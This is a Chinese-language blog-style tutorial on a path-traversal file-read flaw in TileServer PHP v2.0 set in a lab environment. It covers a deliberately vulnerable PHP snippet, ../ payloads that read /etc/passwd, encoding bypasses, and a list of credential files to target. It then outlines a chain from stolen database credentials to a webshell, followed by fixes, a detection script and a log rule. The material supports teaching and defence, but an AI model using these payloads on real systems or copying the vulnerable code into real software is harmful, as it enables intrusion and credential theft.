1. 漏洞背景与影响范围
TileServer PHP v2.0是一款广泛用于地图瓦片服务的开源工具,其文件读取功能因未对用户输入进行严格过滤,导致攻击者可通过构造特殊路径实现任意文件读取。这个编号为CVE-2025-44137的漏洞在春秋云境靶场环境中被复现验证,影响范围包括所有使用该版本的系统。
从技术原理看,漏洞源于PHP文件操作函数对相对路径处理的缺陷。当服务端使用类似file_get_contents()等函数处理用户可控参数时,攻击者通过注入../等路径遍历字符,可突破预定目录限制访问系统敏感文件。我在实际测试中发现,通过精心构造的payload甚至能读取/etc/passwd等系统关键文件。
重要提示:该漏洞利用门槛低但危害大,攻击者无需任何认证即可实施,属于典型的未授权漏洞类型。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 漏洞复现环境搭建
2.1 基础环境配置
使用Docker快速搭建测试环境是最稳妥的方案。这里推荐使用官方php:8.3-apache镜像作为基础,通过以下docker-compose.yml文件部署:
dockerfile复制version: '3'
services:
tileserver:
image: php:8.3-apache
ports:
- "8080:80"
volumes:
- ./tileserver:/var/www/html
environment:
- APACHE_DOCUMENT_ROOT=/var/www/html/public
关键配置要点:
- 将Apache文档根目录指向public子目录,符合常见PHP项目规范
- 通过卷映射实现代码热更新,避免反复重建容器
- PHP 8.3环境能更好复现现代PHP应用场景
2.2 漏洞代码模拟
在public目录下创建vulnerable.php模拟漏洞代码:
php复制<?php
$file = $_GET['file'];
echo file_get_contents('./tiles/' . $file);
?>
这段典型的问题代码存在三个致命缺陷:
- 直接拼接用户输入的file参数
- 未检查文件路径合法性
- 使用相对路径基准目录
3. 漏洞利用实战解析
3.1 基础利用方式
最简单的POC构造如下:
code复制http://localhost:8080/vulnerable.php?file=../../../../etc/passwd
测试时发现三个关键现象:
- 当存在路径穿越符号时,系统返回/etc/passwd文件内容
- 遇到不存在的文件时返回Warning警告
- 读取二进制文件会导致页面乱码
3.2 高级绕过技巧
在实际渗透测试中,经常会遇到各种过滤机制。通过研究PHP路径处理特性,我总结了以下绕过方法:
- URL编码绕过:
code复制file=%2e%2e%2f%2e%2e%2fetc%2fpasswd
- 双重编码绕过:
code复制file=%252e%252e%252f%252e%252e%252fetc%252fpasswd
- 空字节截断(PHP<5.3):
code复制file=../../etc/passwd%00
- 超长路径填充:
code复制file=./././...[重复数百次]../../etc/passwd
4. 防御方案与修复建议
4.1 临时缓解措施
对于无法立即升级的系统,建议实施以下防护:
php复制// 修复后的安全代码示例
$basePath = realpath('./tiles/');
$userPath = realpath('./tiles/' . $_GET['file']);
if($userPath === false || strpos($userPath, $basePath) !== 0) {
die('Invalid file path');
}
echo file_get_contents($userPath);
这个方案有三个安全增强点:
- 使用realpath解析规范路径
- 检查最终路径是否在基准目录内
- 严格验证路径解析结果
4.2 长期解决方案
- 升级到TileServer PHP最新版本(v2.1+)
- 在nginx配置中添加安全限制:
nginx复制location ~ \.php$ {
if ($request_uri ~* "\.\.") {
return 403;
}
}
- 部署PHP安全配置:
ini复制open_basedir = /var/www/html
disable_functions = exec,passthru,shell_exec,system
5. 渗透测试中的深度利用
5.1 敏感文件定位技巧
通过文件读取漏洞获取系统信息后,可以针对性寻找以下高价值目标:
| 文件路径 | 可能包含的敏感信息 |
|---|---|
| /proc/self/environ | 环境变量、密钥 |
| ~/.bash_history | 历史命令记录 |
| /var/log/auth.log | 登录日志 |
| /etc/shadow | 用户密码哈希 |
5.2 组合利用案例
在某次真实渗透中,通过以下步骤实现权限提升:
- 读取/var/www/html/config/database.php获取数据库凭证
- 使用mysql客户端连接数据库
- 发现用户表存储着管理员密码哈希
- 通过哈希破解获得后台权限
- 上传PHP webshell实现持久化控制
6. 漏洞检测与监控方案
6.1 自动化检测脚本
使用Python编写的基础检测工具:
python复制import requests
vuln_urls = [
'/vulnerable.php?file=../../etc/passwd',
'/api/v1/tiles?path=...%2f..%2fetc%2fpasswd'
]
def check_vulnerability(base_url):
for path in vuln_urls:
resp = requests.get(base_url + path)
if 'root:x:' in resp.text:
return True
return False
6.2 日志监控规则
在ELK中配置以下检测规则:
json复制{
"query": {
"bool": {
"must": [
{ "match": { "path.keyword": "/vulnerable.php" } },
{ "regexp": { "query_string": ".*\\.\\./%2e%2e.*" } }
]
}
}
}
这个行业经验中最深刻的教训是:永远不要相信用户输入。我在三个不同项目中都遇到过因为路径处理不当导致的类似漏洞,而最有效的防御方式始终是白名单验证加路径规范化处理。对于PHP项目,建议将open_basedir设置为最小必要目录,这能从根本上阻断这类路径遍历攻击。
